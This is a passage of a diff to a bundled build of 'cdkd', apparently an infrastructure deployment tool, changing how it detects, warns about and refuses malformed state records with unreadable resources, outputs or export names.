* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
3526
|
-
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
3527
|
-
* turning a remedy into a differently-broken command.
|
|
3528
|
-
*
|
|
3529
|
-
* MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
|
|
3530
|
-
* considered exporting it. `cdkd scrub`'s audited-record refusal needed the
|
|
3531
|
-
* same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
|
|
3532
|
-
* BOUNDARY, because its names go into a comma-joined list where a name
|
|
3533
|
-
* containing the delimiter forges an entry. `displayIdent` has all four —
|
|
3534
|
-
* JSON-quoting escapes the delimiter it adds — so that caller uses it and this
|
|
3535
|
-
* stays private. The pair here is not duplicated: what differs is the
|
|
3536
|
-
* `shellQuote` composition every message in THIS module needs and that one
|
|
3537
|
-
* must not have.
|
|
3538
|
-
*/
|
|
3539
|
-
function safeIdentifier(value) {
|
|
3540
|
-
const safe = displaySafe(value, { asciiOnly: true });
|
|
3541
|
-
if (!safe) return UNRENDERABLE;
|
|
3542
|
-
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
3543
|
-
return truncated ? `${text}...` : text;
|
|
3544
|
-
}
|
|
3545
|
-
function malformedStateDetail(stackName, region) {
|
|
3546
|
-
const stack = safeIdentifier(stackName);
|
|
3547
|
-
const reg = safeIdentifier(region);
|
|
3548
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3549
|
-
}
|
|
3550
|
-
/**
|
|
3551
|
-
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
3552
|
-
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
3553
|
-
*
|
|
3554
|
-
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
3555
|
-
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
3556
|
-
* `null`, or some other non-object. Every such command then died on a raw
|
|
3557
|
-
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
3558
|
-
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
3559
|
-
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
3560
|
-
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
3561
|
-
* reaches for WHEN the state is broken.
|
|
3562
|
-
*
|
|
3563
|
-
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
3564
|
-
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
3565
|
-
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
3566
|
-
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
3567
|
-
* happened one line up and the guards only made it look handled. One call per
|
|
3568
|
-
* load dominates the whole flow behind it, including the helpers that take the
|
|
3569
|
-
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
3570
|
-
* `collectCcApiRoutes`).
|
|
3571
|
-
*
|
|
3572
|
-
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
3573
|
-
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
3574
|
-
* indistinguishable from a healthy empty stack in every later line of output,
|
|
3575
|
-
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
3576
|
-
* nothing.
|
|
3577
|
-
*
|
|
3578
|
-
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
3579
|
-
* uses {@link refuseMalformedState} instead; see its note.
|
|
3580
|
-
*/
|
|
3581
|
-
function repairMalformedResourcesForReadOnly(state) {
|
|
3582
|
-
if (hasReadableResources(state)) return false;
|
|
3583
|
-
state.resources = {};
|
|
3584
|
-
return true;
|
|
3585
|
-
}
|
|
3586
|
-
/**
|
|
3587
|
-
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
3588
|
-
* cannot be a plain `CdkdError`.
|
|
3589
|
-
*
|
|
3590
|
-
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
3591
|
-
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
3592
|
-
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
3593
|
-
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
3594
|
-
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
3595
|
-
* this text rather than calling {@link refuseMalformedState}.
|
|
3596
|
-
*
|
|
3597
|
-
* The other three refusing commands do NOT share that need, and giving them a
|
|
3598
|
-
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
3599
|
-
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
3600
|
-
* would tell an operator to re-run a command that attempted nothing.
|
|
3601
|
-
*/
|
|
3602
|
-
function malformedStateRefusalMessage(stackName, region) {
|
|
3603
|
-
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
3604
|
-
}
|
|
3605
|
-
/**
|
|
3606
|
-
* The warning a view emits when it emptied one or more {@link
|
|
3607
|
-
* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
|
|
3608
|
-
*
|
|
3609
|
-
* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
|
|
3610
|
-
* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
|
|
3611
|
-
* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
|
|
3612
|
-
* from an empty stack: deploy would re-CREATE everything and destroy would
|
|
3613
|
-
* delete nothing. No container named here can produce that specific confusion —
|
|
3614
|
-
* the resource SET is still readable — so borrowing that sentence would attach
|
|
3615
|
-
* a re-create-the-world warning to a record whose resource list is intact.
|
|
3616
|
-
*
|
|
3617
|
-
* It is NOT that these containers are display-only. `properties` is read by the
|
|
3618
|
-
* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
|
|
3619
|
-
* nothing from this module, and a non-object there compares unequal to any
|
|
3620
|
-
* desired object and yields a spurious property-change set — filed as
|
|
3621
|
-
* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
|
|
3622
|
-
* display-only premise, which would have read as licence to drop a guard on
|
|
3623
|
-
* that path (review of go-to-k/cdkd#3190).
|
|
3624
|
-
*
|
|
3625
|
-
* What stays the same is the remedy: `--json` is the mode that shows the
|
|
3626
|
-
* stored value.
|
|
3627
|
-
*
|
|
3628
|
-
* ONE warning per record however many containers it names — a stack whose 500
|
|
3629
|
-
* resources all carry a hand-edited `properties` gets one line, not 500. The
|
|
3630
|
-
* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
|
|
3631
|
-
* stable across records. Not `.sort()` — that order is deliberately not
|
|
3632
|
-
* alphabetical, and its own JSDoc says so.
|
|
3633
|
-
*
|
|
3634
|
-
* Both identifiers are sanitized and then shell-quoted, and the command is
|
|
3635
|
-
* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
|
|
3636
|
-
* gives.
|
|
3637
|
-
*
|
|
3638
|
-
* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
|
|
3639
|
-
* they cannot drift from it — but NOT `shellQuote`, because they appear in the
|
|
3640
|
-
* PROSE and never inside the command this text tells the reader to run; the
|
|
3641
|
-
* command carries the two identifiers and nothing else.
|
|
3642
|
-
*
|
|
3643
|
-
* Sanitizing them is not dead code written for a case that cannot happen. The
|
|
3644
|
-
* union above is closed at COMPILE time, so without this the guarantee would
|
|
3645
|
-
* live in a comment, and the day a caller derives a name from a record instead
|
|
3646
|
-
* of from a literal an unsanitized element could forge a line, render as empty
|
|
3647
|
-
* quotes naming nothing, or run to kilobytes and push the remedy command off
|
|
3648
|
-
* the reader's screen. `safeIdentifier` closes all three and is the identity on
|
|
3649
|
-
* all four literals, so no user-visible text moves.
|
|
3650
|
-
*
|
|
3651
|
-
* What it does NOT close, stated rather than reassured away: a forged name made
|
|
3652
|
-
* only of printable ASCII still renders verbatim inside its quotes and could
|
|
3653
|
-
* read as prose. That residual is bounded to the PROSE — the command the reader
|
|
3654
|
-
* pastes is built from the two shell-quoted identifiers alone — and closing it
|
|
3655
|
-
* would mean JSON-quoting a name in the one place the text is meant to read as
|
|
3656
|
-
* English (review of go-to-k/cdkd#3190).
|
|
3657
|
-
*/
|
|
3658
|
-
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
3659
|
-
const stack = safeIdentifier(stackName);
|
|
3660
|
-
const reg = safeIdentifier(region);
|
|
3661
|
-
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
3662
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3663
|
-
}
|
|
3664
|
-
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
3665
|
-
function malformedResourcesWarning(stackName, region) {
|
|
3666
|
-
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
3667
|
-
}
|
|
3668
|
-
/**
|
|
3669
|
-
* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
|
|
3670
|
-
* READ-ONLY command that DIFFS the stored bag rather than rendering it
|
|
3671
|
-
* (go-to-k/cdkd#3189).
|
|
3672
|
-
*
|
|
3673
|
-
* `computeOutputsDiff` enumerates the stored bag twice, the second walk
|
|
3674
|
-
* emitting one `REMOVE` row per stored key today's template no longer declares.
|
|
3675
|
-
* It used to admit the bag on a bare `?? {}`, which covers `null` and
|
|
3676
|
-
* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
|
|
3677
|
-
* a string or a list previewed the REMOVAL of outputs that never existed, one
|
|
3678
|
-
* row per character or element, each carrying a character of the record as its
|
|
3679
|
-
* `old:` side, with `cdkd diff --fail` exiting 1 on them.
|
|
3680
|
-
*
|
|
3681
|
-
* AT THE LOAD, for the reason
|
|
3682
|
-
* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
|
|
3683
|
-
* that is specific to this container: `cdkd diff` dereferences the stored bag
|
|
3684
|
-
* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
|
|
3685
|
-
* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
|
|
3686
|
-
* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
|
|
3687
|
-
* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
|
|
3688
|
-
* outright on `null` (`Cannot convert undefined or null to object`). So a guard
|
|
3689
|
-
* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
|
|
3690
|
-
* `TypeError`, one call above it.
|
|
3691
|
-
*
|
|
3692
|
-
* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
|
|
3693
|
-
* {@link isReadableBag}'s verdict, and the split is measured rather than
|
|
3694
|
-
* stylistic. Both stored-bag lookups named above gate on
|
|
3695
|
-
* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
|
|
3696
|
-
* bag never reaches one; every other consumer on the diff path carries its own
|
|
3697
|
-
* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
|
|
3698
|
-
* function's own walk). An absent bag is therefore inert, exactly the condition
|
|
3699
|
-
* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
|
|
3700
|
-
* would be a false positive on a record cdkd itself supports: `cdkd scrub`
|
|
3701
|
-
* round-trips a record with no `outputs` deliberately, refusing to materialize
|
|
3702
|
-
* `{}` over it, and the deploy's failure-path saves write
|
|
3703
|
-
* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
|
|
3704
|
-
* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
|
|
3705
|
-
* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
|
|
3706
|
-
* like any other unreadable shape.
|
|
3707
|
-
*
|
|
3708
|
-
* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
|
|
3709
|
-
* purpose: it asked that a `null` bag "diff exactly as it does today and say
|
|
3710
|
-
* nothing", and diffing exactly as it does today means THROWING. Recorded on
|
|
3711
|
-
* the issue rather than silently traded.
|
|
3712
|
-
*
|
|
3713
|
-
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
3714
|
-
* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
|
|
3715
|
-
* the reason {@link refuseMalformedState} gives — a bag laundered into a
|
|
3716
|
-
* well-formed empty one is permanent, and for `outputs` it would also take the
|
|
3717
|
-
* exports index with it on the next write.
|
|
3718
|
-
*/
|
|
3719
|
-
function repairMalformedOutputsForReadOnly(state) {
|
|
3720
|
-
if (hasReadableOutputs(state)) return false;
|
|
3721
|
-
state.outputs = {};
|
|
3722
|
-
return true;
|
|
3723
|
-
}
|
|
3724
|
-
/**
|
|
3725
|
-
* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
|
|
3726
|
-
*
|
|
3727
|
-
* Deliberately neither {@link malformedResourcesWarning}'s text nor
|
|
3728
|
-
* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
|
|
3729
|
-
* continuing empty differs from both. The resources text forbids
|
|
3730
|
-
* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
|
|
3731
|
-
* indistinguishable from an empty stack; the resource set is intact here. The
|
|
3732
|
-
* rendered-containers text says the view "shows no rows there" — true of a
|
|
3733
|
-
* renderer, false of a diff, which does not go quiet on an empty stored bag but
|
|
3734
|
-
* reports every resolved output as an `ADD`. Saying so is the point: an
|
|
3735
|
-
* operator who reads `ADD` rows for outputs the stack already has needs to know
|
|
3736
|
-
* the comparison lost its left-hand side.
|
|
3737
|
-
*
|
|
3738
|
-
* Identifiers are sanitized and then shell-quoted and the command is emitted
|
|
3739
|
-
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3740
|
-
*/
|
|
3741
|
-
function malformedOutputsWarning(stackName, region) {
|
|
3742
|
-
const stack = safeIdentifier(stackName);
|
|
3743
|
-
const reg = safeIdentifier(region);
|
|
3744
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3745
|
-
}
|
|
3746
|
-
/**
|
|
3747
|
-
* For a command that can WRITE state: refuse the record by name instead of
|
|
3748
|
-
* repairing it.
|
|
3749
|
-
*
|
|
3750
|
-
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
3751
|
-
* shipped that danger for one round before its security review caught it.
|
|
3752
|
-
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
3753
|
-
* change alone satisfies — so a record holding `"resources": null` and a
|
|
3754
|
-
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
3755
|
-
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
3756
|
-
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
3757
|
-
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
3758
|
-
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
3759
|
-
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
3760
|
-
* that would have said so is long gone, quite possibly for a different
|
|
3761
|
-
* operator. `cdkd import --force` launders it the same way.
|
|
3762
|
-
*
|
|
3763
|
-
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
3764
|
-
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
3765
|
-
* code rather than on a stack trace.
|
|
3766
|
-
*/
|
|
3767
|
-
function refuseMalformedState(state, stackName, region) {
|
|
3768
|
-
if (hasReadableResources(state)) return;
|
|
3769
|
-
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
3770
|
-
}
|
|
3771
|
-
/**
|
|
3772
|
-
* The `outputs` half of {@link malformedStateRefusalMessage}, for the same
|
|
3773
|
-
* reason that one is exported separately from the throw: `cdkd scrub`'s exit
|
|
3774
|
-
* `1` is spoken for and it raises its own exit-2 class around this text.
|
|
3775
|
-
*
|
|
3776
|
-
* A DIFFERENT text from the `resources` refusal because the consequence of
|
|
3777
|
-
* continuing differs, the same way the three warnings in this module differ. The
|
|
3778
|
-
* `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
|
|
3779
|
-
* unreadable resource MAP is indistinguishable from an empty stack; the resource
|
|
3780
|
-
* set is intact here. What is at stake instead is the SHARED exports index:
|
|
3781
|
-
* `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
|
|
3782
|
-
* bag published one fabricated export per character into the namespace every
|
|
3783
|
-
* other stack's `Fn::ImportValue` binds against.
|
|
3784
|
-
*
|
|
3785
|
-
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
3786
|
-
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3787
|
-
*/
|
|
3788
|
-
function malformedOutputsRefusalMessage(stackName, region) {
|
|
3789
|
-
const stack = safeIdentifier(stackName);
|
|
3790
|
-
const reg = safeIdentifier(region);
|
|
3791
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3792
|
-
}
|
|
3793
|
-
/**
|
|
3794
|
-
* The line `ExportIndexStore`'s rebuild emits for a producer record whose
|
|
3795
|
-
* export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
|
|
3796
|
-
* plain object, or `exportNames` present and not an array.
|
|
3797
|
-
*
|
|
3798
|
-
* A THIRD outputs text rather than {@link malformedOutputsWarning} because the
|
|
3799
|
-
* consequence is again different, which is the rule the two above already
|
|
3800
|
-
* follow. That one describes a DIFF continuing with an empty left-hand side.
|
|
3801
|
-
* This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
|
|
3802
|
-
* other stacks resolve against — so the symptom a reader will actually meet is
|
|
3803
|
-
* a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
|
|
3804
|
-
* and not this record. Saying which producer dropped out is the whole value of
|
|
3805
|
-
* the line.
|
|
3806
|
-
*
|
|
3807
|
-
* It says the rebuild CONTINUES, because it does: refusing would take every
|
|
3808
|
-
* other producer in the region down with it, and the index is best-effort by
|
|
3809
|
-
* design.
|
|
3810
|
-
*
|
|
3811
|
-
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
3812
|
-
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3813
|
-
*/
|
|
3814
|
-
function malformedExportSourceWarning(stackName, region) {
|
|
3815
|
-
const stack = safeIdentifier(stackName);
|
|
3816
|
-
const reg = safeIdentifier(region);
|
|
3817
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3818
|
-
}
|
|
3819
|
-
/**
|
|
3820
|
-
* The line a READ-ONLY command emits when a record's `exportNames` FIELD could
|
|
3821
|
-
* not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
|
|
3822
|
-
* array with no usable name in it.
|
|
3823
|
-
*
|
|
3824
|
-
* Why a message at all, when the predicate already fails closed: before this
|
|
3825
|
-
* class was guarded, `cdkd diff` over such a record died with
|
|
3826
|
-
* `TypeError: state.exportNames.filter is not a function`. Failing closed
|
|
3827
|
-
* inside `importableOutputKeys` is right — it is a pure predicate reached from
|
|
3828
|
-
* five commands and holds no stack identity — but silently replacing a LOUD
|
|
3829
|
-
* wrong answer with a QUIET one is its own regression, and `cdkd diff` is
|
|
3830
|
-
* exactly the caller that DOES hold the identity. Without this it warned about
|
|
3831
|
-
* a damaged `outputs` bag on one line and said nothing about the damaged
|
|
3832
|
-
* `exportNames` on the same record.
|
|
3833
|
-
*
|
|
3834
|
-
* Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
|
|
3835
|
-
* the BAG, and the consequence differs. An unusable export SET does not lose
|
|
3836
|
-
* the comparison's left-hand side — every stored key is still diffed — it
|
|
3837
|
-
* makes the preview report no key as an export, so a row that would carry
|
|
3838
|
-
* `[export]` renders without it.
|
|
3839
|
-
*
|
|
3840
|
-
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
3841
|
-
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3842
|
-
*/
|
|
3843
|
-
function malformedExportNamesWarning(stackName, region) {
|
|
3844
|
-
const stack = safeIdentifier(stackName);
|
|
3845
|
-
const reg = safeIdentifier(region);
|
|
3846
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3847
|
-
}
|
|
3848
|
-
/**
|
|
3849
|
-
* For a command that can WRITE state: refuse a record whose `outputs` bag
|
|
3850
|
-
* cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
|
|
3851
|
-
*
|
|
3852
|
-
* The SIBLING of {@link refuseMalformedState}, and deliberately a second call
|
|
3853
|
-
* rather than a widening of that one. A record can be malformed in either
|
|
3854
|
-
* container alone, the two carry different consequences, and the refusal a user
|
|
3855
|
-
* sees must name the container that is actually broken — a `resources` message
|
|
3856
|
-
* printed over an intact resource map tells them not to run `cdkd deploy` for a
|
|
3857
|
-
* reason that does not hold.
|
|
3858
|
-
*
|
|
3859
|
-
* Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
|
|
3860
|
-
* opposite answer for the same container one function up: repairing the bag and
|
|
3861
|
-
* then saving it IS the laundering this is here to stop. Measured, not
|
|
3862
|
-
* reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
|
|
3863
|
-
* `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
|
|
3864
|
-
* `redactUnaccountedOutputs` spreads the same string into a map and its
|
|
3865
|
-
* `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
|
|
3866
|
-
* `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
|
|
3867
|
-
* damaged record into a well-formed one and the evidence is gone.
|
|
3868
|
-
*
|
|
3869
|
-
* CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
|
|
3870
|
-
* expression that reads the bag — the placement rule
|
|
3871
|
-
* {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
|
|
3872
|
-
* records: a guard written at the rebuild leaves every earlier dereference in
|
|
3873
|
-
* front of it.
|
|
3874
|
-
*/
|
|
3875
|
-
function refuseMalformedOutputs(state, stackName, region) {
|
|
3876
|
-
if (hasReadableOutputs(state)) return;
|
|
3877
|
-
throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
3878
|
-
}
|
|
3879
|
-
|
|
3880
3584
|
//#endregion
|
|
3881
3585
|
//#region src/state/export-index-store.ts
|
|
3882
3586
|
/**
|
|
@@ -62452,6 +62156,7 @@ async function runDestroyForStack(stackName, state, ctx) {
|
|
|
62452
62156
|
const resourceCount = Object.keys(state.resources).length;
|
|
62453
62157
|
const orphanCount = (state.orphans ?? []).length;
|
|
62454
62158
|
const regionForState = state.region ?? ctx.baseRegion;
|
|
62159
|
+
refuseMalformedOutputsForDestroy(state, stackName, regionForState);
|
|
62455
62160
|
if (resourceCount === 0 && orphanCount === 0) {
|
|
62456
62161
|
logger.info(`Stack ${stackName} has no resources, cleaning up state...`);
|
|
62457
62162
|
let emptyLockHeld = false;
|
|
@@ -62872,7 +62577,7 @@ async function runDestroyForStack(stackName, state, ctx) {
|
|
|
62872
62577
|
} catch (error) {
|
|
62873
62578
|
renderer.removeTask(logicalId);
|
|
62874
62579
|
const msg = error instanceof Error ? error.message : String(error);
|
|
62875
|
-
if (!isInterruptedWaitError(error) && !isFinalSnapshotError(error) && !isMarkedNonRetryable(error) && (msg.includes("does not exist") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException"))) {
|
|
62580
|
+
if (!isInterruptedWaitError(error) && !isFinalSnapshotError(error) && !isMarkedNonRetryable(error) && !isWaitAbandonedError(error) && (msg.includes("does not exist") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException"))) {
|
|
62876
62581
|
logger.debug(` ${logicalId} already deleted, removing from state`);
|
|
62877
62582
|
result.deletedCount++;
|
|
62878
62583
|
ctx.eventRecorder?.record({
|
|
@@ -63324,6 +63029,7 @@ var NestedStackProvider = class {
|
|
|
63324
63029
|
async readChildOutputsAsAttributes(ctx, childStackName, childRegion) {
|
|
63325
63030
|
const childStateData = await ctx.stateBackend.getState(childStackName, childRegion);
|
|
63326
63031
|
if (!childStateData) throw new Error(`Child stack state '${childStackName}' not found after deploy — NestedStackProvider invariant violated.`);
|
|
63032
|
+
refuseMalformedNestedChildOutputs(childStateData.state, childStackName, childRegion);
|
|
63327
63033
|
const attributes = this.buildOutputsAttributes(childStateData.state.outputs ?? {});
|
|
63328
63034
|
const noEchoAttributeNames = [];
|
|
63329
63035
|
for (const [outputKey, persisted] of Object.entries(childStateData.state.outputs ?? {})) {
|
|
@@ -66310,6 +66016,8 @@ async function loadStateOrEmpty(stackName, region, stateBackend) {
|
|
|
66310
66016
|
const result = await stateBackend.getState(stackName, region);
|
|
66311
66017
|
if (result) {
|
|
66312
66018
|
if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
|
|
66019
|
+
const unreadableProps = repairMalformedResourcePropertiesForReadOnly(result.state);
|
|
66020
|
+
if (unreadableProps.length > 0) logger.warn(malformedResourcePropertiesWarning(stackName, region, unreadableProps));
|
|
66313
66021
|
if (repairMalformedOutputsForReadOnly(result.state)) logger.warn(malformedOutputsWarning(stackName, region));
|
|
66314
66022
|
if (isReadableBag(result.state.outputs) && !hasReadableExportSet(result.state)) logger.warn(malformedExportNamesWarning(stackName, region));
|
|
66315
66023
|
return result.state;
|
|
@@ -66475,13 +66183,17 @@ async function computeStackDiff(currentState, template, region, stackName, state
|
|
|
66475
66183
|
adoptedOrphans = Object.keys(plan.adopted);
|
|
66476
66184
|
adoptedRecords = plan.adopted;
|
|
66477
66185
|
blocking = plan.refusals;
|
|
66478
|
-
if (adoptedOrphans.length > 0)
|
|
66479
|
-
|
|
66480
|
-
|
|
66481
|
-
|
|
66482
|
-
|
|
66483
|
-
|
|
66484
|
-
|
|
66186
|
+
if (adoptedOrphans.length > 0) {
|
|
66187
|
+
stateForDiff = {
|
|
66188
|
+
...currentState,
|
|
66189
|
+
resources: {
|
|
66190
|
+
...currentState.resources,
|
|
66191
|
+
...plan.adopted
|
|
66192
|
+
}
|
|
66193
|
+
};
|
|
66194
|
+
const tornAdopted = repairMalformedResourcePropertiesForReadOnly(stateForDiff);
|
|
66195
|
+
if (tornAdopted.length > 0) logger.warn(malformedResourcePropertiesWarning(stackName, region, tornAdopted));
|
|
66196
|
+
}
|
|
66485
66197
|
}
|
|
66486
66198
|
const changes = await diffCalculator.calculateDiff(stateForDiff, effectiveTemplate, resolveFn, canonicalizeProperties);
|
|
66487
66199
|
const changedLogicalIds = new Set([...changes.values()].filter((c) => c.changeType !== "NO_CHANGE").map((c) => c.logicalId));
|
|
@@ -69045,26 +68757,6 @@ function isRegionAmbiguousRefusal(err) {
|
|
|
69045
68757
|
return err instanceof Error && errorCauseChain(err).some((link) => link instanceof DynamicReferenceRegionAmbiguousError);
|
|
69046
68758
|
}
|
|
69047
68759
|
/**
|
|
69048
|
-
* The marker the resolver's NAMELESS-dynamic-reference throw carries
|
|
69049
|
-
* (`Dynamic reference: <service> PARAMETER_NAME is required`).
|
|
69050
|
-
*
|
|
69051
|
-
* Pinned against the resolver's own literal by
|
|
69052
|
-
* `tests/unit/cli/scrub-nameless-dynamic-ref.test.ts`, because this is a
|
|
69053
|
-
